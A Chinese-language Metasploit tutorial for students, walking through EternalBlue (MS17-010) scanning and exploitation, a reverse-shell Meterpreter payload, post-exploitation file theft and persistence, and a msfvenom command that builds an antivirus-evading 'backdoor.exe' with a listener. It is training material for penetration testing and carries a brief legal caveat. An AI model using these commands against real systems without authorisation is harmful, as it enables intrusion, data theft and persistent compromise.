大学生学 Metasploit:漏洞利用工具使用教程

在这里插入图片描述

一、引言

Metasploit 是渗透测试领域最经典的漏洞利用框架,集成了数千个漏洞利用模块(Exploit)、攻击载荷(Payload)和辅助工具,能快速实现漏洞验证、权限获取和后渗透测试。对大学生而言,掌握 Metasploit 不仅能提升漏洞利用实战能力,更是参加 CTF 竞赛、从事渗透测试工作的核心技能。本文从基础安装到实战案例,手把手教你掌握 Metasploit 的核心用法。

二、Metasploit 安装与环境配置

1. 安装方式(优先推荐 Kali Linux 环境)

  • Kali Linux 自带(首选)

Kali Linux 默认预装 Metasploit Framework,打开终端输入 msfconsole 即可启动,无需额外安装;

首次启动会初始化数据库(PostgreSQL),用于存储扫描结果、漏洞信息,等待初始化完成即可进入交互界面。

  • Windows/macOS 手动安装
  1. 访问 Metasploit 官网(https://www.metasploit.com/),下载对应系统的安装包;

  2. 双击安装包,按引导完成安装(Windows 需注意关闭杀毒软件,避免误杀组件);

  3. 安装完成后,通过开始菜单(Windows)或终端(macOS)启动 msfconsole,验证是否能正常进入交互界面。

2. 核心组件与交互界面

  • 核心组件
  1. msfconsole:命令行交互界面,是使用 Metasploit 的主要入口;

  2. 模块类型:

  • Exploit(漏洞利用模块):利用目标系统的已知漏洞(如永恒之蓝、Drupal 漏洞)获取权限;

  • Payload(攻击载荷):漏洞利用成功后在目标系统中执行的代码(如获取 Shell、反弹连接);

  • Auxiliary(辅助模块):用于信息收集(端口扫描、服务探测)、漏洞扫描等非破坏性操作;

  • Post(后渗透模块):获取目标权限后,执行提权、信息窃取、持久化等操作。

  • 交互界面常用命令

命令 功能说明 示例
search 搜索模块(按漏洞名、关键词) search ms17-010(搜索永恒之蓝模块)
use 加载指定模块 use exploit/windows/smb/ms17_010_eternalblue
show options 查看当前模块需配置的参数 show options
set 设置参数值 set RHOSTS 192.168.1.100(设置目标 IP)
run/exploit 执行当前模块 run
background 将当前会话放入后台 background
sessions 查看所有活跃会话 sessions -l

三、Metasploit 基础实战(以永恒之蓝漏洞为例)

1. 漏洞背景

永恒之蓝(MS17-010)是 Windows 系统 SMB 协议的高危漏洞,攻击者可通过该漏洞远程执行代码,获取目标系统的管理员权限,影响 Windows 7、Windows Server 2008 等系统。

2. 实战步骤

(1)信息收集(确认目标是否存在漏洞)
  1. 启动 msfconsole,搜索永恒之蓝相关的辅助模块:
search ms17-010 type:auxiliary
  1. 加载漏洞扫描模块(检测目标是否存在永恒之蓝漏洞):
use auxiliary/scanner/smb/smb_ms17_010
  1. 配置参数(目标 IP 或 IP 段):
set RHOSTS 192.168.1.105  # 目标主机IP
set THREADS 10            # 线程数(加快扫描速度)
  1. 执行扫描:
run

若输出 “Host is likely VULNERABLE to MS17-010”,说明目标存在永恒之蓝漏洞。

(2)漏洞利用(获取目标系统权限)
  1. 搜索并加载永恒之蓝漏洞利用模块:
search ms17-010 type:exploit
use exploit/windows/smb/ms17_010_eternalblue
  1. 配置核心参数:
set RHOSTS 192.168.1.105  # 目标主机IP
set LHOST 192.168.1.102   # 攻击机IP(Kali的IP,用于接收反弹Shell)
set LPORT 4444            # 攻击机端口(用于监听反弹连接)
  1. 查看并选择 Payload(默认已选择适合的反弹 Shell 载荷):
show payloads  # 查看所有支持的Payload
set PAYLOAD windows/x64/meterpreter/reverse_tcp  # 选择64位反弹Meterpreter Shell
  1. 执行漏洞利用:
run

若成功,将进入 Meterpreter 交互界面(命令行前缀变为 meterpreter >),表示已获取目标系统的 Shell 权限。

(3)后渗透操作(权限提升与信息窃取)
  1. 查看当前权限:
getuid  # 输出当前用户身份,如 "NT AUTHORITY\SYSTEM" 表示管理员权限
  1. 信息收集:
sysinfo  # 查看目标系统信息(版本、架构、补丁情况)
ls       # 查看当前目录文件
search -f *.doc  # 搜索目标系统中的Word文档(窃取敏感数据)
  1. 持久化(确保目标重启后仍能控制):
run persistence -X -i 5 -p 4444 -r 192.168.1.102
# -X:系统启动时自动运行
# -i 5:每5秒尝试连接攻击机
# -p 4444:攻击机端口
# -r 192.168.1.102:攻击机IP
  1. 退出会话:
exit  # 退出当前Meterpreter会话

四、Metasploit 进阶技巧

1. 自定义 Payload(规避杀毒软件)

默认 Payload 易被杀毒软件识别,可使用 msfvenom 生成免杀 Payload:

# 生成Windows系统免杀反弹Shell(exe格式)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o backdoor.exe
# -e:指定编码器(shikata_ga_nai 是常用免杀编码器)
# -i 5:编码5次(提升免杀效果)
# -f exe:输出为exe文件
# -o backdoor.exe:输出文件名

将生成的 backdoor.exe 上传到目标系统并执行,攻击机通过 multi/handler 模块监听:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.102
set LPORT 4444
run

2. 数据库联动(存储与分析结果)

Metasploit 可与 PostgreSQL 数据库联动,存储扫描结果和会话信息:

  1. 启动数据库服务:
service postgresql start
msfdb init  # 初始化数据库(首次使用)
  1. 在 msfconsole 中连接数据库:
db_connect postgres:postgres@localhost/msf  # 默认账号密码均为postgres
db_status  # 查看数据库连接状态
  1. 执行扫描后,查看数据库中的结果:
db_hosts  # 查看所有发现的主机
db_vulns  # 查看所有发现的漏洞

五、总结

Metasploit 是渗透测试的 “瑞士军刀”,核心在于熟练掌握 “搜索模块→配置参数→执行利用→后渗透操作” 的流程。大学生学习时,建议从简单漏洞(如永恒之蓝、Drupal 漏洞)入手,结合 VulnHub 靶场(如 Metasploitable 3)反复实战,逐步掌握模块选择、Payload 配置、免杀等进阶技巧。同时,需注意 Metasploit 仅用于合法授权的渗透测试,避免触犯法律。

网络安全学习资料分享

为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~

在这里插入图片描述

在这里插入图片描述

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐